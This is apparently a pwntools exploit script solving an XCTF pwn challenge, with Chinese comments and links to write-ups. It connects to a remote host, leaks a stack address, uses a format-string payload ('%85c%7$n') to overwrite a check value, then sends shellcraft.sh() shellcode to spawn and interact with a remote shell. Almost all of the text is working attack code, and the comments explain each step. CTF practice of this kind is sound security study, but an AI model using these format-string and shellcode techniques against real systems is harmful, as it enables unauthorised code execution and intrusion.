#encoding=utf-8
#!usr/bin/python
from pwn import *
io = remote('111.198.29.45',42643)
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16) #打印cv3[0]的地址
log.info("v3_0_addr:" + hex(v3_0_addr))
#进入sub_4000D72()
io.recvuntil("character's name be:")
io.sendline("123")
#进入sub_400A7D()
io.recvuntil("east or up?:")
io.sendline("east")
#进入sub_400BB9():printf处存在格式化字符串漏洞,利用这一点去修改v3[0]的值为85
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
#进入sub_400CA6():v1会被强制转成函数指针并且得到执行,所以我们传入一个system()函数去getshell
context(os='linux',arch='amd64') #设置目标机的参数 os设置系统为linux系统,arch设置架构为amd64
shellcode = asm(shellcraft.sh()) #(生成的shellcode攻击失败,所以使用反汇编的shellcode)
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()
https://www.jianshu.com/p/457520f97a76
https://blog.csdn.net/qq_35495684/article/details/79583232
https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5056&number=2&grade=0&page=1
手机扫一扫
移动阅读更方便
你可能感兴趣的文章